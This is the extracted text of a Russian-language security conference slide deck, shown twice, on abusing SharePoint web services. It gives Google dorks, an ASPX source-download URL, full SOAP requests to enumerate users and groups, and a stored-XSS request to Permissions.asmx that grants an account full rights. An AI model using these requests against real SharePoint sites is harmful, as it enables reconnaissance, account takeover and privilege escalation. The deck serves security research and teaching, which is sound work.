AUG 30, 2014
АЛЬТЕРНАТИВНОЕ ИСПОЛЬЗОВАНИЕ ВЭБ 
СЕРВИСОВ SHAREPOINT СО СТОРОНЫ 
ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ 
AUG 30, 2014 
By George Lagoda
PENTESTER 
VULNERABILITY RESEARCHER 
BUG HUNTER 
WHITEHAT 
DEFCON MOSCOW FOUNDER 
George Lagoda 
3
ЧТО ПРЕПАРИРУЕМ ? 
4
ОСНОВНЫЕ КОМПОНЕНТЫ SHAREPOINT 
5 
ВЕБ-ПРИЛОЖЕНИЯ для организации совместной работы 
ФУНКЦИОНАЛЬНОСТЬ для создания веб-порталов 
ПОИСК ИНФОРМАЦИИ в документах и информационных системах 
УПРАВЛЕНИЕ РАБОЧИМИ ПРОЦЕССАМИ и содержимым масштаба предприятия 
БИЗНЕС-АНАЛИЗ
6 
Google 
hacking 
ОБЩЕЕ ОПИСАНИЕ УЯЗВИМОСТЕЙ 
ЗАКРЫТЫЕ ДЕТАЛИ 
НЕБОЛЬШОЕ КОЛИЧЕСТВО ПУБЛИЧНЫХ ЭКСПЛОЙТОВ
УЯЗВИМОСТЬ 
ЗАГРУЗКИ 
ИСХОДНЫХ 
КОДОВ ASPX 
СТРАНИЦ 
7 
• Работает только в SharePoint 2007 
• Необходимо знать адрес конкретной страницы 
• Основной интерес представляют страницы написанные 
разработчиками сайта 
h-p://www.example.com/_layouts/download.aspx?SourceUrl=/Pages/ 
Default.aspx&Source=h-p://www.example.com/Pages/ 
Default.aspx&FldUrl=
ВЕБ-СЕРВИСЫ 
SHAREPOINT 
8 
GOOGLE HACK : “INURL: _VTI_BIN/SPSDISCO.ASPX”
ТОНКИЙ 
МОМЕНТ 
/_vG_bin/ 
9 
/_vG_bin/
СТАРЫЙ СПОСОБ 
ПЕРЕЧИСЛЕНИЯ 
ПОЛЬЗОВАТЕЛЕЙ 
10 
HTTPS://HOST/_LAYOUTS/USERDISP.ASPX?ID=1
НЕДОСТАТКИ 
СТАРОГО 
СПОСОБА 
11 
• Необходимо инкрементировать ID 
• Не всегда есть доступ к просмотру 
• Можно попасть в группу 
• Самый большой ID не известен 
• NTLM или Kerberos авторизация при автоматизации 
• Парсинг данных при автоматизации 
• Что делать если их “over 9000”?????
ОТ ТЕОРИИ К 
ПРАКТИКЕ 
POST /sites/testsite1/_vti_bin/UserGroup.asmx HTTP/1.1 
Host: host 
[…] 
<?xml version="1.0" encoding="utf-8"?> 
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> 
<soap:Body> 
<GetUserCollectionFromSite xmlns="http:// 
schemas.microsoft.com/sharepoint/soap/directory/" /> 
</soap:Body> 
</soap:Envelope> 
12
1133
8000+ 
пользователей 
одним запросом 
1144
GREP “TEST” 
МНОГО ДОМЕНОВ, МНОГО ПОЛЬЗОВАТЕЛЕЙ, МНОГО ВОЗМОЖНОСТЕЙ 
15
DUMMY BRUTE 
LEADS TO PWN 
• Захвачена тестовая доменная учетная запись 
• Повышена сложность обнаружения злоумышленника 
• Разные тестовые учетные записи могут содержать разные 
права доступа к сайту 
• Приведен пример из боевого проекта, получен аккаунт из 
домена крупного российского банка 
16
DEER HUNTING 
Для поиска интересного аккаунта помимо тестового 
перечисляем список групп и узнаем в какой группе 
находится наша “жертва” 
17
ПОЛУЧАЕМ 
СПИСОК ГРУПП 
POST /_vti_bin/UserGroup.asmx HTTP/1.1 
Host: host 
[…] 
<?xml version="1.0" encoding="utf-8"?> 
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> 
<soap:Body> 
<GetGroupCollectionFromSite xmlns="http:// 
schemas.microsoft.com/sharepoint/soap/directory/" /> 
</soap:Body> 
</soap:Envelope> 
18 
список групп на разных сайтах 
в рамках одного домена может 
различаться
1199
ИНТЕРЕСЕН ЛИ 
НАМ АККАУНТ? 
POST /_vti_bin/UserGroup.asmx HTTP/1.1 
Host: host 
[…] 
<?xml version="1.0" encoding="utf-8"?> 
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> 
<soap:Body> 
<GetGroupCollectionFromUser xmlns="http:// 
schemas.microsoft.com/sharepoint/soap/directory/"> 
<userLoginName>SHAREPOINTsystem</userLoginName> 
</GetGroupCollectionFromUser> 
</soap:Body> 
</soap:Envelope> 
20
2211
НАХОДИШЬ ХРАНИМЫЕ XSS НА ЛЮБОМ САЙТЕ? 
ИНТЕРЕСНО ЛИ КРАСТЬ АДМИНСКИЕ КУКИ? 
МОЖЕМ ЛИ МЫ ИХ УКРАСТЬ? 
ЗАЧЕМ КРАСТЬ СЕССИЮ АДМИНА, КОГДА 
МОЖНО СТАТЬ АДМИНОМ? 
22
/_vti_bin/ 
Permissions.asmx 
Сайт + хранимая XSS + XHR с одним из этих методов + 
CORS нам не мешает = разрешения админа ) 
23
ИГРАЕМ С 
РАЗРЕШЕНИЯМИ 
POST /_vti_bin/Permissions.asmx HTTP/1.1 
Host: host 
[…] 
<?xml version="1.0" encoding="utf-8"?> 
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http:// 
schemas.xmlsoap.org/soap/envelope/"> 
<soap:Body> 
<AddPermission xmlns="http://schemas.microsoft.com/sharepoint/soap/ 
directory/"> 
<objectName>testsite1</objectName> 
<objectType>web</objectType> 
<permissionIdentifier>i:0#.w|ra1d3ntest3</permissionIdentifier> 
<permissionType>User</permissionType> 
<permissionMask>-1</permissionMask> 
</AddPermission> 
</soap:Body> 
</soap:Envelope> 
24
THAT’S ALL FOLKS ;] 
@rox41Id3n 
By George Lagoda

George Lagoda - Альтернативное использование вэб сервисов SharePoint со стороны информационной безопасности

  • 1.
  • 2.
    АЛЬТЕРНАТИВНОЕ ИСПОЛЬЗОВАНИЕ ВЭБ СЕРВИСОВ SHAREPOINT СО СТОРОНЫ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ AUG 30, 2014 By George Lagoda
  • 3.
    PENTESTER VULNERABILITY RESEARCHER BUG HUNTER WHITEHAT DEFCON MOSCOW FOUNDER George Lagoda 3
  • 4.
  • 5.
    ОСНОВНЫЕ КОМПОНЕНТЫ SHAREPOINT 5 ВЕБ-ПРИЛОЖЕНИЯ для организации совместной работы ФУНКЦИОНАЛЬНОСТЬ для создания веб-порталов ПОИСК ИНФОРМАЦИИ в документах и информационных системах УПРАВЛЕНИЕ РАБОЧИМИ ПРОЦЕССАМИ и содержимым масштаба предприятия БИЗНЕС-АНАЛИЗ
  • 6.
    6 Google hacking ОБЩЕЕ ОПИСАНИЕ УЯЗВИМОСТЕЙ ЗАКРЫТЫЕ ДЕТАЛИ НЕБОЛЬШОЕ КОЛИЧЕСТВО ПУБЛИЧНЫХ ЭКСПЛОЙТОВ
  • 7.
    УЯЗВИМОСТЬ ЗАГРУЗКИ ИСХОДНЫХ КОДОВ ASPX СТРАНИЦ 7 • Работает только в SharePoint 2007 • Необходимо знать адрес конкретной страницы • Основной интерес представляют страницы написанные разработчиками сайта h-p://www.example.com/_layouts/download.aspx?SourceUrl=/Pages/ Default.aspx&amp;Source=h-p://www.example.com/Pages/ Default.aspx&amp;FldUrl=
  • 8.
    ВЕБ-СЕРВИСЫ SHAREPOINT 8 GOOGLE HACK : “INURL: _VTI_BIN/SPSDISCO.ASPX”
  • 9.
  • 10.
    СТАРЫЙ СПОСОБ ПЕРЕЧИСЛЕНИЯ ПОЛЬЗОВАТЕЛЕЙ 10 HTTPS://HOST/_LAYOUTS/USERDISP.ASPX?ID=1
  • 11.
    НЕДОСТАТКИ СТАРОГО СПОСОБА 11 • Необходимо инкрементировать ID • Не всегда есть доступ к просмотру • Можно попасть в группу • Самый большой ID не известен • NTLM или Kerberos авторизация при автоматизации • Парсинг данных при автоматизации • Что делать если их “over 9000”?????
  • 12.
    ОТ ТЕОРИИ К ПРАКТИКЕ POST /sites/testsite1/_vti_bin/UserGroup.asmx HTTP/1.1 Host: host […] <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetUserCollectionFromSite xmlns="http:// schemas.microsoft.com/sharepoint/soap/directory/" /> </soap:Body> </soap:Envelope> 12
  • 13.
  • 14.
  • 15.
    GREP “TEST” МНОГОДОМЕНОВ, МНОГО ПОЛЬЗОВАТЕЛЕЙ, МНОГО ВОЗМОЖНОСТЕЙ 15
  • 16.
    DUMMY BRUTE LEADSTO PWN • Захвачена тестовая доменная учетная запись • Повышена сложность обнаружения злоумышленника • Разные тестовые учетные записи могут содержать разные права доступа к сайту • Приведен пример из боевого проекта, получен аккаунт из домена крупного российского банка 16
  • 17.
    DEER HUNTING Дляпоиска интересного аккаунта помимо тестового перечисляем список групп и узнаем в какой группе находится наша “жертва” 17
  • 18.
    ПОЛУЧАЕМ СПИСОК ГРУПП POST /_vti_bin/UserGroup.asmx HTTP/1.1 Host: host […] <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetGroupCollectionFromSite xmlns="http:// schemas.microsoft.com/sharepoint/soap/directory/" /> </soap:Body> </soap:Envelope> 18 список групп на разных сайтах в рамках одного домена может различаться
  • 19.
  • 20.
    ИНТЕРЕСЕН ЛИ НАМАККАУНТ? POST /_vti_bin/UserGroup.asmx HTTP/1.1 Host: host […] <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetGroupCollectionFromUser xmlns="http:// schemas.microsoft.com/sharepoint/soap/directory/"> <userLoginName>SHAREPOINTsystem</userLoginName> </GetGroupCollectionFromUser> </soap:Body> </soap:Envelope> 20
  • 21.
  • 22.
    НАХОДИШЬ ХРАНИМЫЕ XSSНА ЛЮБОМ САЙТЕ? ИНТЕРЕСНО ЛИ КРАСТЬ АДМИНСКИЕ КУКИ? МОЖЕМ ЛИ МЫ ИХ УКРАСТЬ? ЗАЧЕМ КРАСТЬ СЕССИЮ АДМИНА, КОГДА МОЖНО СТАТЬ АДМИНОМ? 22
  • 23.
    /_vti_bin/ Permissions.asmx Сайт+ хранимая XSS + XHR с одним из этих методов + CORS нам не мешает = разрешения админа ) 23
  • 24.
    ИГРАЕМ С РАЗРЕШЕНИЯМИ POST /_vti_bin/Permissions.asmx HTTP/1.1 Host: host […] <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http:// schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <AddPermission xmlns="http://schemas.microsoft.com/sharepoint/soap/ directory/"> <objectName>testsite1</objectName> <objectType>web</objectType> <permissionIdentifier>i:0#.w|ra1d3ntest3</permissionIdentifier> <permissionType>User</permissionType> <permissionMask>-1</permissionMask> </AddPermission> </soap:Body> </soap:Envelope> 24
  • 25.
    THAT’S ALL FOLKS;] @rox41Id3n By George Lagoda